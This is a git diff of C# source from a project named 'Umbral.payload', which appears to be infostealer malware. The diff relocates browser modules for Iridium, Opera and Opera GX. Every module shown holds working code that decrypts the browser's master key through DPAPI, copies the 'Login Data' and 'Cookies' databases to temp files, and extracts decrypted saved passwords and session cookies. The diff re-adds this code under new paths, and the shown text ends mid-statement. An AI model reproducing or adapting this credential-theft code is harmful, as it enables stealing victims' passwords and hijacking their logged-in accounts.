SearchOption.AllDirectories)); + + foreach (string cookiesFilePath in cookiesFilePaths) + try + { + retry: + string tempCookiesFilePath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); + if (File.Exists(tempCookiesFilePath)) goto retry; + + File.Copy(cookiesFilePath, tempCookiesFilePath); + + SQLiteHandler handler = new SQLiteHandler(tempCookiesFilePath); + + if (!handler.ReadTable("cookies")) + continue; + + for (int i = 0; i < handler.GetRowCount(); i++) + { + string host = handler.GetValue(i, "host_key"); + string name = handler.GetValue(i, "name"); + string path = handler.GetValue(i, "path"); + byte[] encryptedCookie = Encoding.Default.GetBytes(handler.GetValue(i, "encrypted_value")); + ulong expiry = Convert.ToUInt64(handler.GetValue(i, "expires_utc")); + + byte[] cookie = await DecryptData(encryptedCookie); + + if (!string.IsNullOrWhiteSpace(host) && !string.IsNullOrWhiteSpace(name) && !(cookie is null) && + cookie.Length > 0) + cookies.Add(new CookieFormat(host, name, path, Encoding.UTF8.GetString(cookie), expiry)); + } + + File.Delete(tempCookiesFilePath); + } + catch (Exception e) + { + Console.WriteLine(e); + } + } + + return cookies.ToArray(); + } + } } \ No newline at end of file diff --git a/Umbral.payload/Browsers/Format.cs b/Umbral.payload/Components/Browsers/Format.cs similarity index 91% rename from Umbral.payload/Browsers/Format.cs rename to Umbral.payload/Components/Browsers/Format.cs index 4696178..fa48cbf 100644 --- a/Umbral.payload/Browsers/Format.cs +++ b/Umbral.payload/Components/Browsers/Format.cs @@ -1,40 +1,40 @@ -namespace Umbral.payload.Browsers -{ - internal struct PasswordFormat - { - internal readonly string Username; - - internal readonly string Password; - - internal readonly string Url; - - internal PasswordFormat(string username, string password, string url) - { - Username = username; - Password = password; - Url = url; - } - } - - internal struct CookieFormat - { - internal string Host; - - internal string Name; - - internal string Path; - - internal string Cookie; - - internal ulong Expiry; - - internal CookieFormat(string host, string name, string path, string cookie, ulong expiry) - { - Host = host; - Name = name; - Path = path; - Cookie = cookie; - Expiry = expiry; - } - } +namespace Umbral.payload.Components.Browsers +{ + internal struct PasswordFormat + { + internal readonly string Username; + + internal readonly string Password; + + internal readonly string Url; + + internal PasswordFormat(string username, string password, string url) + { + Username = username; + Password = password; + Url = url; + } + } + + internal struct CookieFormat + { + internal string Host; + + internal string Name; + + internal string Path; + + internal string Cookie; + + internal ulong Expiry; + + internal CookieFormat(string host, string name, string path, string cookie, ulong expiry) + { + Host = host; + Name = name; + Path = path; + Cookie = cookie; + Expiry = expiry; + } + } } \ No newline at end of file diff --git a/Umbral.payload/Browsers/Iridium.cs b/Umbral.payload/Components/Browsers/Iridium.cs similarity index 96% rename from Umbral.payload/Browsers/Iridium.cs rename to Umbral.payload/Components/Browsers/Iridium.cs index 79f96a9..d2e09d9 100644 --- a/Umbral.payload/Browsers/Iridium.cs +++ b/Umbral.payload/Components/Browsers/Iridium.cs @@ -1,202 +1,203 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Security.Cryptography; -using System.Text; -using System.Threading.Tasks; -using Umbral.payload.Handlers; -using Umbral.payload.Utilities; - -namespace Umbral.payload.Browsers -{ - internal static class Iridium - { - static private readonly string BrowserPath; - - static private byte[] _encryptionKey; - - static Iridium() - { - BrowserPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), - "Iridium", "User Data"); - - _encryptionKey = null; - } - - static private async Task GetEncryptionKey() - { - if (!(_encryptionKey is null)) return _encryptionKey; - - byte[] key = null; - - string localStatePath = Path.Combine(BrowserPath, "Local State"); - if (File.Exists(localStatePath)) - try - { - string content; - - using (FileStream fs = new FileStream(localStatePath, FileMode.Open, FileAccess.Read, - FileShare.ReadWrite)) - { - using (StreamReader reader = new StreamReader(fs)) - { - content = await reader.ReadToEndAsync(); - } - } - - dynamic jsonContent = SimpleJson.DeserializeObject(content); - string encryptedKey = (string)jsonContent["os_crypt"]["encrypted_key"]; - key = ProtectedData.Unprotect(Convert.FromBase64String(encryptedKey).Skip(5).ToArray(), null, - DataProtectionScope.CurrentUser); - } - catch (Exception e) - { - Console.WriteLine(e); - } - - if (!(key is null)) - { - _encryptionKey = key; - return _encryptionKey; - } - - return null; - } - - static private async Task DecryptData(byte[] buffer) - { - byte[] decryptedData = null; - byte[] key = await GetEncryptionKey(); - - if (key is null) - { - return null; - } - - try - { - - string bufferString = Encoding.Default.GetString(buffer); - if (bufferString.StartsWith("v10") || bufferString.StartsWith("v11")) - { - byte[] iv = buffer.Skip(3).Take(12).ToArray(); - byte[] cipherText = buffer.Skip(15).ToArray(); - - byte[] tag = cipherText.Skip(cipherText.Length - 16).ToArray(); - cipherText = cipherText.Take(cipherText.Length - tag.Length).ToArray(); - - decryptedData = new AesGcm().Decrypt(key, iv, null, cipherText, tag); - } - else - { - decryptedData = ProtectedData.Unprotect(buffer, null, DataProtectionScope.CurrentUser); - } - } - catch (Exception e) - { - Console.WriteLine(e); - } - - return decryptedData; - } - - internal static async Task GetPasswords() - { - var passwords = new List(); - - if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) - { - string[] loginDataPaths = await Task.Run(() => - Directory.GetFiles(BrowserPath, "Login Data", SearchOption.AllDirectories)); - - foreach (string loginDataPath in loginDataPaths) - try - { - retry: - string tempLoginDataPath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); - if (File.Exists(tempLoginDataPath)) goto retry; - - File.Copy(loginDataPath, tempLoginDataPath); - - SQLiteHandler handler = new SQLiteHandler(tempLoginDataPath); - - if (!handler.ReadTable("logins")) - continue; - - for (int i = 0; i < handler.GetRowCount(); i++) - { - string url = handler.GetValue(i, "origin_url"); - string username = handler.GetValue(i, "username_value"); - byte[] encryptedPassword = Encoding.Default.GetBytes(handler.GetValue(i, "password_value")); - - byte[] password = await DecryptData(encryptedPassword); - - if (!string.IsNullOrWhiteSpace(url) && !string.IsNullOrWhiteSpace(username) && - !(password is null) && password.Length > 0) - { - passwords.Add(new PasswordFormat(username, Encoding.UTF8.GetString(password), url)); - } - } - - File.Delete(tempLoginDataPath); - } - catch (Exception e) - { - Console.WriteLine(e); - } - } - - return passwords.ToArray(); - } - - internal static async Task GetCookies() - { - var cookies = new List(); - - if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) - { - string[] cookiesFilePaths = await Task.Run(() => - Directory.GetFiles(BrowserPath, "Cookies", SearchOption.AllDirectories)); - - foreach (string cookiesFilePath in cookiesFilePaths) - try - { - retry: - string tempCookiesFilePath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); - if (File.Exists(tempCookiesFilePath)) goto retry; - - File.Copy(cookiesFilePath, tempCookiesFilePath); - - SQLiteHandler handler = new SQLiteHandler(tempCookiesFilePath); - - if (!handler.ReadTable("cookies")) - continue; - - for (int i = 0; i < handler.GetRowCount(); i++) - { - string host = handler.GetValue(i, "host_key"); - string name = handler.GetValue(i, "name"); - string path = handler.GetValue(i, "path"); - byte[] encryptedCookie = Encoding.Default.GetBytes(handler.GetValue(i, "encrypted_value")); - ulong expiry = Convert.ToUInt64(handler.GetValue(i, "expires_utc")); - - byte[] cookie = await DecryptData(encryptedCookie); - - if (!string.IsNullOrWhiteSpace(host) && !string.IsNullOrWhiteSpace(name) && !(cookie is null) && - cookie.Length > 0) - cookies.Add(new CookieFormat(host, name, path, Encoding.UTF8.GetString(cookie), expiry)); - } - - File.Delete(tempCookiesFilePath); - } - catch (Exception e) - { - Console.WriteLine(e); - } - } - - return cookies.ToArray(); - } - } +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; +using Umbral.payload.Components.Helpers; +using Umbral.payload.Components.Algorithms; +using Umbral.payload.Components.Utilities; + +namespace Umbral.payload.Components.Browsers +{ + internal static class Iridium + { + static private readonly string BrowserPath; + + static private byte[] _encryptionKey; + + static Iridium() + { + BrowserPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), + "Iridium", "User Data"); + + _encryptionKey = null; + } + + static private async Task GetEncryptionKey() + { + if (!(_encryptionKey is null)) return _encryptionKey; + + byte[] key = null; + + string localStatePath = Path.Combine(BrowserPath, "Local State"); + if (File.Exists(localStatePath)) + try + { + string content; + + using (FileStream fs = new FileStream(localStatePath, FileMode.Open, FileAccess.Read, + FileShare.ReadWrite)) + { + using (StreamReader reader = new StreamReader(fs)) + { + content = await reader.ReadToEndAsync(); + } + } + + dynamic jsonContent = SimpleJson.DeserializeObject(content); + string encryptedKey = (string)jsonContent["os_crypt"]["encrypted_key"]; + key = ProtectedData.Unprotect(Convert.FromBase64String(encryptedKey).Skip(5).ToArray(), null, + DataProtectionScope.CurrentUser); + } + catch (Exception e) + { + Console.WriteLine(e); + } + + if (!(key is null)) + { + _encryptionKey = key; + return _encryptionKey; + } + + return null; + } + + static private async Task DecryptData(byte[] buffer) + { + byte[] decryptedData = null; + byte[] key = await GetEncryptionKey(); + + if (key is null) + { + return null; + } + + try + { + + string bufferString = Encoding.Default.GetString(buffer); + if (bufferString.StartsWith("v10") || bufferString.StartsWith("v11")) + { + byte[] iv = buffer.Skip(3).Take(12).ToArray(); + byte[] cipherText = buffer.Skip(15).ToArray(); + + byte[] tag = cipherText.Skip(cipherText.Length - 16).ToArray(); + cipherText = cipherText.Take(cipherText.Length - tag.Length).ToArray(); + + decryptedData = new AesGcm().Decrypt(key, iv, null, cipherText, tag); + } + else + { + decryptedData = ProtectedData.Unprotect(buffer, null, DataProtectionScope.CurrentUser); + } + } + catch (Exception e) + { + Console.WriteLine(e); + } + + return decryptedData; + } + + internal static async Task GetPasswords() + { + var passwords = new List(); + + if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) + { + string[] loginDataPaths = await Task.Run(() => + Directory.GetFiles(BrowserPath, "Login Data", SearchOption.AllDirectories)); + + foreach (string loginDataPath in loginDataPaths) + try + { + retry: + string tempLoginDataPath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); + if (File.Exists(tempLoginDataPath)) goto retry; + + File.Copy(loginDataPath, tempLoginDataPath); + + SQLiteHandler handler = new SQLiteHandler(tempLoginDataPath); + + if (!handler.ReadTable("logins")) + continue; + + for (int i = 0; i < handler.GetRowCount(); i++) + { + string url = handler.GetValue(i, "origin_url"); + string username = handler.GetValue(i, "username_value"); + byte[] encryptedPassword = Encoding.Default.GetBytes(handler.GetValue(i, "password_value")); + + byte[] password = await DecryptData(encryptedPassword); + + if (!string.IsNullOrWhiteSpace(url) && !string.IsNullOrWhiteSpace(username) && + !(password is null) && password.Length > 0) + { + passwords.Add(new PasswordFormat(username, Encoding.UTF8.GetString(password), url)); + } + } + + File.Delete(tempLoginDataPath); + } + catch (Exception e) + { + Console.WriteLine(e); + } + } + + return passwords.ToArray(); + } + + internal static async Task GetCookies() + { + var cookies = new List(); + + if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) + { + string[] cookiesFilePaths = await Task.Run(() => + Directory.GetFiles(BrowserPath, "Cookies", SearchOption.AllDirectories)); + + foreach (string cookiesFilePath in cookiesFilePaths) + try + { + retry: + string tempCookiesFilePath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); + if (File.Exists(tempCookiesFilePath)) goto retry; + + File.Copy(cookiesFilePath, tempCookiesFilePath); + + SQLiteHandler handler = new SQLiteHandler(tempCookiesFilePath); + + if (!handler.ReadTable("cookies")) + continue; + + for (int i = 0; i < handler.GetRowCount(); i++) + { + string host = handler.GetValue(i, "host_key"); + string name = handler.GetValue(i, "name"); + string path = handler.GetValue(i, "path"); + byte[] encryptedCookie = Encoding.Default.GetBytes(handler.GetValue(i, "encrypted_value")); + ulong expiry = Convert.ToUInt64(handler.GetValue(i, "expires_utc")); + + byte[] cookie = await DecryptData(encryptedCookie); + + if (!string.IsNullOrWhiteSpace(host) && !string.IsNullOrWhiteSpace(name) && !(cookie is null) && + cookie.Length > 0) + cookies.Add(new CookieFormat(host, name, path, Encoding.UTF8.GetString(cookie), expiry)); + } + + File.Delete(tempCookiesFilePath); + } + catch (Exception e) + { + Console.WriteLine(e); + } + } + + return cookies.ToArray(); + } + } } \ No newline at end of file diff --git a/Umbral.payload/Browsers/Opera.cs b/Umbral.payload/Components/Browsers/Opera.cs similarity index 96% rename from Umbral.payload/Browsers/Opera.cs rename to Umbral.payload/Components/Browsers/Opera.cs index 5c71815..d3abc46 100644 --- a/Umbral.payload/Browsers/Opera.cs +++ b/Umbral.payload/Components/Browsers/Opera.cs @@ -1,202 +1,203 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Security.Cryptography; -using System.Text; -using System.Threading.Tasks; -using Umbral.payload.Handlers; -using Umbral.payload.Utilities; - -namespace Umbral.payload.Browsers -{ - internal static class Opera - { - static private readonly string BrowserPath; - - static private byte[] _encryptionKey; - - static Opera() - { - BrowserPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), - "Opera Software", "Opera Stable"); - - _encryptionKey = null; - } - - static private async Task GetEncryptionKey() - { - if (!(_encryptionKey is null)) return _encryptionKey; - - byte[] key = null; - - string localStatePath = Path.Combine(BrowserPath, "Local State"); - if (File.Exists(localStatePath)) - try - { - string content; - - using (FileStream fs = new FileStream(localStatePath, FileMode.Open, FileAccess.Read, - FileShare.ReadWrite)) - { - using (StreamReader reader = new StreamReader(fs)) - { - content = await reader.ReadToEndAsync(); - } - } - - dynamic jsonContent = SimpleJson.DeserializeObject(content); - string encryptedKey = (string)jsonContent["os_crypt"]["encrypted_key"]; - key = ProtectedData.Unprotect(Convert.FromBase64String(encryptedKey).Skip(5).ToArray(), null, - DataProtectionScope.CurrentUser); - } - catch (Exception e) - { - Console.WriteLine(e); - } - - if (!(key is null)) - { - _encryptionKey = key; - return _encryptionKey; - } - - return null; - } - - static private async Task DecryptData(byte[] buffer) - { - byte[] decryptedData = null; - byte[] key = await GetEncryptionKey(); - - if (key is null) - { - return null; - } - - try - { - - string bufferString = Encoding.Default.GetString(buffer); - if (bufferString.StartsWith("v10") || bufferString.StartsWith("v11")) - { - byte[] iv = buffer.Skip(3).Take(12).ToArray(); - byte[] cipherText = buffer.Skip(15).ToArray(); - - byte[] tag = cipherText.Skip(cipherText.Length - 16).ToArray(); - cipherText = cipherText.Take(cipherText.Length - tag.Length).ToArray(); - - decryptedData = new AesGcm().Decrypt(key, iv, null, cipherText, tag); - } - else - { - decryptedData = ProtectedData.Unprotect(buffer, null, DataProtectionScope.CurrentUser); - } - } - catch (Exception e) - { - Console.WriteLine(e); - } - - return decryptedData; - } - - internal static async Task GetPasswords() - { - var passwords = new List(); - - if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) - { - string[] loginDataPaths = await Task.Run(() => - Directory.GetFiles(BrowserPath, "Login Data", SearchOption.AllDirectories)); - - foreach (string loginDataPath in loginDataPaths) - try - { - retry: - string tempLoginDataPath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); - if (File.Exists(tempLoginDataPath)) goto retry; - - File.Copy(loginDataPath, tempLoginDataPath); - - SQLiteHandler handler = new SQLiteHandler(tempLoginDataPath); - - if (!handler.ReadTable("logins")) - continue; - - for (int i = 0; i < handler.GetRowCount(); i++) - { - string url = handler.GetValue(i, "origin_url"); - string username = handler.GetValue(i, "username_value"); - byte[] encryptedPassword = Encoding.Default.GetBytes(handler.GetValue(i, "password_value")); - - byte[] password = await DecryptData(encryptedPassword); - - if (!string.IsNullOrWhiteSpace(url) && !string.IsNullOrWhiteSpace(username) && - !(password is null) && password.Length > 0) - { - passwords.Add(new PasswordFormat(username, Encoding.UTF8.GetString(password), url)); - } - } - - File.Delete(tempLoginDataPath); - } - catch (Exception e) - { - Console.WriteLine(e); - } - } - - return passwords.ToArray(); - } - - internal static async Task GetCookies() - { - var cookies = new List(); - - if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) - { - string[] cookiesFilePaths = await Task.Run(() => - Directory.GetFiles(BrowserPath, "Cookies", SearchOption.AllDirectories)); - - foreach (string cookiesFilePath in cookiesFilePaths) - try - { - retry: - string tempCookiesFilePath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); - if (File.Exists(tempCookiesFilePath)) goto retry; - - File.Copy(cookiesFilePath, tempCookiesFilePath); - - SQLiteHandler handler = new SQLiteHandler(tempCookiesFilePath); - - if (!handler.ReadTable("cookies")) - continue; - - for (int i = 0; i < handler.GetRowCount(); i++) - { - string host = handler.GetValue(i, "host_key"); - string name = handler.GetValue(i, "name"); - string path = handler.GetValue(i, "path"); - byte[] encryptedCookie = Encoding.Default.GetBytes(handler.GetValue(i, "encrypted_value")); - ulong expiry = Convert.ToUInt64(handler.GetValue(i, "expires_utc")); - - byte[] cookie = await DecryptData(encryptedCookie); - - if (!string.IsNullOrWhiteSpace(host) && !string.IsNullOrWhiteSpace(name) && !(cookie is null) && - cookie.Length > 0) - cookies.Add(new CookieFormat(host, name, path, Encoding.UTF8.GetString(cookie), expiry)); - } - - File.Delete(tempCookiesFilePath); - } - catch (Exception e) - { - Console.WriteLine(e); - } - } - - return cookies.ToArray(); - } - } +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; +using Umbral.payload.Components.Helpers; +using Umbral.payload.Components.Algorithms; +using Umbral.payload.Components.Utilities; + +namespace Umbral.payload.Components.Browsers +{ + internal static class Opera + { + static private readonly string BrowserPath; + + static private byte[] _encryptionKey; + + static Opera() + { + BrowserPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), + "Opera Software", "Opera Stable"); + + _encryptionKey = null; + } + + static private async Task GetEncryptionKey() + { + if (!(_encryptionKey is null)) return _encryptionKey; + + byte[] key = null; + + string localStatePath = Path.Combine(BrowserPath, "Local State"); + if (File.Exists(localStatePath)) + try + { + string content; + + using (FileStream fs = new FileStream(localStatePath, FileMode.Open, FileAccess.Read, + FileShare.ReadWrite)) + { + using (StreamReader reader = new StreamReader(fs)) + { + content = await reader.ReadToEndAsync(); + } + } + + dynamic jsonContent = SimpleJson.DeserializeObject(content); + string encryptedKey = (string)jsonContent["os_crypt"]["encrypted_key"]; + key = ProtectedData.Unprotect(Convert.FromBase64String(encryptedKey).Skip(5).ToArray(), null, + DataProtectionScope.CurrentUser); + } + catch (Exception e) + { + Console.WriteLine(e); + } + + if (!(key is null)) + { + _encryptionKey = key; + return _encryptionKey; + } + + return null; + } + + static private async Task DecryptData(byte[] buffer) + { + byte[] decryptedData = null; + byte[] key = await GetEncryptionKey(); + + if (key is null) + { + return null; + } + + try + { + + string bufferString = Encoding.Default.GetString(buffer); + if (bufferString.StartsWith("v10") || bufferString.StartsWith("v11")) + { + byte[] iv = buffer.Skip(3).Take(12).ToArray(); + byte[] cipherText = buffer.Skip(15).ToArray(); + + byte[] tag = cipherText.Skip(cipherText.Length - 16).ToArray(); + cipherText = cipherText.Take(cipherText.Length - tag.Length).ToArray(); + + decryptedData = new AesGcm().Decrypt(key, iv, null, cipherText, tag); + } + else + { + decryptedData = ProtectedData.Unprotect(buffer, null, DataProtectionScope.CurrentUser); + } + } + catch (Exception e) + { + Console.WriteLine(e); + } + + return decryptedData; + } + + internal static async Task GetPasswords() + { + var passwords = new List(); + + if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) + { + string[] loginDataPaths = await Task.Run(() => + Directory.GetFiles(BrowserPath, "Login Data", SearchOption.AllDirectories)); + + foreach (string loginDataPath in loginDataPaths) + try + { + retry: + string tempLoginDataPath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); + if (File.Exists(tempLoginDataPath)) goto retry; + + File.Copy(loginDataPath, tempLoginDataPath); + + SQLiteHandler handler = new SQLiteHandler(tempLoginDataPath); + + if (!handler.ReadTable("logins")) + continue; + + for (int i = 0; i < handler.GetRowCount(); i++) + { + string url = handler.GetValue(i, "origin_url"); + string username = handler.GetValue(i, "username_value"); + byte[] encryptedPassword = Encoding.Default.GetBytes(handler.GetValue(i, "password_value")); + + byte[] password = await DecryptData(encryptedPassword); + + if (!string.IsNullOrWhiteSpace(url) && !string.IsNullOrWhiteSpace(username) && + !(password is null) && password.Length > 0) + { + passwords.Add(new PasswordFormat(username, Encoding.UTF8.GetString(password), url)); + } + } + + File.Delete(tempLoginDataPath); + } + catch (Exception e) + { + Console.WriteLine(e); + } + } + + return passwords.ToArray(); + } + + internal static async Task GetCookies() + { + var cookies = new List(); + + if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) + { + string[] cookiesFilePaths = await Task.Run(() => + Directory.GetFiles(BrowserPath, "Cookies", SearchOption.AllDirectories)); + + foreach (string cookiesFilePath in cookiesFilePaths) + try + { + retry: + string tempCookiesFilePath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); + if (File.Exists(tempCookiesFilePath)) goto retry; + + File.Copy(cookiesFilePath, tempCookiesFilePath); + + SQLiteHandler handler = new SQLiteHandler(tempCookiesFilePath); + + if (!handler.ReadTable("cookies")) + continue; + + for (int i = 0; i < handler.GetRowCount(); i++) + { + string host = handler.GetValue(i, "host_key"); + string name = handler.GetValue(i, "name"); + string path = handler.GetValue(i, "path"); + byte[] encryptedCookie = Encoding.Default.GetBytes(handler.GetValue(i, "encrypted_value")); + ulong expiry = Convert.ToUInt64(handler.GetValue(i, "expires_utc")); + + byte[] cookie = await DecryptData(encryptedCookie); + + if (!string.IsNullOrWhiteSpace(host) && !string.IsNullOrWhiteSpace(name) && !(cookie is null) && + cookie.Length > 0) + cookies.Add(new CookieFormat(host, name, path, Encoding.UTF8.GetString(cookie), expiry)); + } + + File.Delete(tempCookiesFilePath); + } + catch (Exception e) + { + Console.WriteLine(e); + } + } + + return cookies.ToArray(); + } + } } \ No newline at end of file diff --git a/Umbral.payload/Browsers/OperaGx.cs b/Umbral.payload/Components/Browsers/OperaGx.cs similarity index 96% rename from Umbral.payload/Browsers/OperaGx.cs rename to Umbral.payload/Components/Browsers/OperaGx.cs index 955eed6..4ec0332 100644 --- a/Umbral.payload/Browsers/OperaGx.cs +++ b/Umbral.payload/Components/Browsers/OperaGx.cs @@ -1,202 +1,203 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Security.Cryptography; -using System.Text; -using System.Threading.Tasks; -using Umbral.payload.Handlers; -using Umbral.payload.Utilities; - -namespace Umbral.payload.Browsers -{ - internal static class OperaGx - { - static private readonly string BrowserPath; - - static private byte[] _encryptionKey; - - static OperaGx() - { - BrowserPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), - "Opera Software", "Opera GX Stable"); - - _encryptionKey = null; - } - - static private async Task GetEncryptionKey() - { - if (!(_encryptionKey is null)) return _encryptionKey; - - byte[] key = null; - - string localStatePath = Path.Combine(BrowserPath, "Local State"); - if (File.Exists(localStatePath)) - try - { - string content; - - using (FileStream fs = new FileStream(localStatePath, FileMode.Open, FileAccess.Read, - FileShare.ReadWrite)) - { - using (StreamReader reader = new StreamReader(fs)) - { - content = await reader.ReadToEndAsync(); - } - } - - dynamic jsonContent = SimpleJson.DeserializeObject(content); - string encryptedKey = (string)jsonContent["os_crypt"]["encrypted_key"]; - key = ProtectedData.Unprotect(Convert.FromBase64String(encryptedKey).Skip(5).ToArray(), null, - DataProtectionScope.CurrentUser); - } - catch (Exception e) - { - Console.WriteLine(e); - } - - if (!(key is null)) - { - _encryptionKey = key; - return _encryptionKey; - } - - return null; - } - - static private async Task DecryptData(byte[] buffer) - { - byte[] decryptedData = null; - byte[] key = await GetEncryptionKey(); - - if (key is null) - { - return null; - } - - try - { - - string bufferString = Encoding.Default.GetString(buffer); - if (bufferString.StartsWith("v10") || bufferString.StartsWith("v11")) - { - byte[] iv = buffer.Skip(3).Take(12).ToArray(); - byte[] cipherText = buffer.Skip(15).ToArray(); - - byte[] tag = cipherText.Skip(cipherText.Length - 16).ToArray(); - cipherText = cipherText.Take(cipherText.Length - tag.Length).ToArray(); - - decryptedData = new AesGcm().Decrypt(key, iv, null, cipherText, tag); - } - else - { - decryptedData = ProtectedData.Unprotect(buffer, null, DataProtectionScope.CurrentUser); - } - } - catch (Exception e) - { - Console.WriteLine(e); - } - - return decryptedData; - } - - internal static async Task GetPasswords() - { - var passwords = new List(); - - if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) - { - string[] loginDataPaths = await Task.Run(() => - Directory.GetFiles(BrowserPath, "Login Data", SearchOption.AllDirectories)); - - foreach (string loginDataPath in loginDataPaths) - try - { - retry: - string tempLoginDataPath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); - if (File.Exists(tempLoginDataPath)) goto retry; - - File.Copy(loginDataPath, tempLoginDataPath); - - SQLiteHandler handler = new SQLiteHandler(tempLoginDataPath); - - if (!handler.ReadTable("logins")) - continue; - - for (int i = 0; i < handler.GetRowCount(); i++) - { - string url = handler.GetValue(i, "origin_url"); - string username = handler.GetValue(i, "username_value"); - byte[] encryptedPassword = Encoding.Default.GetBytes(handler.GetValue(i, "password_value")); - - byte[] password = await DecryptData(encryptedPassword); - - if (!string.IsNullOrWhiteSpace(url) && !string.IsNullOrWhiteSpace(username) && - !(password is null) && password.Length > 0) - { - passwords.Add(new PasswordFormat(username, Encoding.UTF8.GetString(password), url)); - } - } - - File.Delete(tempLoginDataPath); - } - catch (Exception e) - { - Console.WriteLine(e); - } - } - - return passwords.ToArray(); - } - - internal static async Task GetCookies() - { - var cookies = new List(); - - if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) - { - string[] cookiesFilePaths = await Task.Run(() => - Directory.GetFiles(BrowserPath, "Cookies", SearchOption.AllDirectories)); - - foreach (string cookiesFilePath in cookiesFilePaths) - try - { - retry: - string tempCookiesFilePath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); - if (File.Exists(tempCookiesFilePath)) goto retry; - - File.Copy(cookiesFilePath, tempCookiesFilePath); - - SQLiteHandler handler = new SQLiteHandler(tempCookiesFilePath); - - if (!handler.ReadTable("cookies")) - continue; - - for (int i = 0; i < handler.GetRowCount(); i++) - { - string host = handler.GetValue(i, "host_key"); - string name = handler.GetValue(i, "name"); - string path = handler.GetValue(i, "path"); - byte[] encryptedCookie = Encoding.Default.GetBytes(handler.GetValue(i, "encrypted_value")); - ulong expiry = Convert.ToUInt64(handler.GetValue(i, "expires_utc")); - - byte[] cookie = await DecryptData(encryptedCookie); - - if (!string.IsNullOrWhiteSpace(host) && !string.IsNullOrWhiteSpace(name) && !(cookie is null) && - cookie.Length > 0) - cookies.Add(new CookieFormat(host, name, path, Encoding.UTF8.GetString(cookie), expiry)); - } - - File.Delete(tempCookiesFilePath); - } - catch (Exception e) - { - Console.WriteLine(e); - } - } - - return cookies.ToArray(); - } - } +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; +using Umbral.payload.Components.Helpers; +using Umbral.payload.Components.Algorithms; +using Umbral.payload.Components.Utilities; + +namespace Umbral.payload.Components.Browsers +{ + internal static class OperaGx + { + static private readonly string BrowserPath; + + static private byte[] _encryptionKey; + + static OperaGx() + { + BrowserPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), + "Opera Software", "Opera GX Stable"); + + _encryptionKey = null; + } + + static private async Task GetEncryptionKey() + { + if (!(_encryptionKey is null)) return _encryptionKey; + + byte[] key = null; + + string localStatePath = Path.Combine(BrowserPath, "Local State"); + if (File.Exists(localStatePath)) + try + { + string content; + + using (FileStream fs = new FileStream(localStatePath, FileMode.Open, FileAccess.Read, + FileShare.ReadWrite)) + { + using (StreamReader reader = new StreamReader(fs)) + { + content = await reader.ReadToEndAsync(); + } + } + + dynamic jsonContent = SimpleJson.DeserializeObject(content); + string encryptedKey = (string)jsonContent["os_crypt"]["encrypted_key"]; + key = ProtectedData.Unprotect(Convert.FromBase64String(encryptedKey).Skip(5).ToArray(), null, + DataProtectionScope.CurrentUser); + } + catch (Exception e) + { + Console.WriteLine(e); + } + + if (!(key is null)) + { + _encryptionKey = key; + return _encryptionKey; + } + + return null; + } + + static private async Task DecryptData(byte[] buffer) + { + byte[] decryptedData = null; + byte[] key = await GetEncryptionKey(); + + if (key is null) + { + return null; + } + + try + { + + string bufferString = Encoding.Default.GetString(buffer); + if (bufferString.StartsWith("v10") || bufferString.StartsWith("v11")) + { + byte[] iv = buffer.Skip(3).Take(12).ToArray(); + byte[] cipherText = buffer.Skip(15).ToArray(); + + byte[] tag = cipherText.Skip(cipherText.Length - 16).ToArray(); + cipherText = cipherText.Take(cipherText.Length - tag.Length).ToArray(); + + decryptedData = new AesGcm().Decrypt(key, iv, null, cipherText, tag); + } + else + { + decryptedData = ProtectedData.Unprotect(buffer, null, DataProtectionScope.CurrentUser); + } + } + catch (Exception e) + { + Console.WriteLine(e); + } + + return decryptedData; + } + + internal static async Task GetPasswords() + { + var passwords = new List(); + + if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) + { + string[] loginDataPaths = await Task.Run(() => + Directory.GetFiles(BrowserPath, "Login Data", SearchOption.AllDirectories)); + + foreach (string loginDataPath in loginDataPaths) + try + { + retry: + string tempLoginDataPath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); + if (File.Exists(tempLoginDataPath)) goto retry; + + File.Copy(loginDataPath, tempLoginDataPath); + + SQLiteHandler handler = new SQLiteHandler(tempLoginDataPath); + + if (!handler.ReadTable("logins")) + continue; + + for (int i = 0; i < handler.GetRowCount(); i++) + { + string url = handler.GetValue(i, "origin_url"); + string username = handler.GetValue(i, "username_value"); + byte[] encryptedPassword = 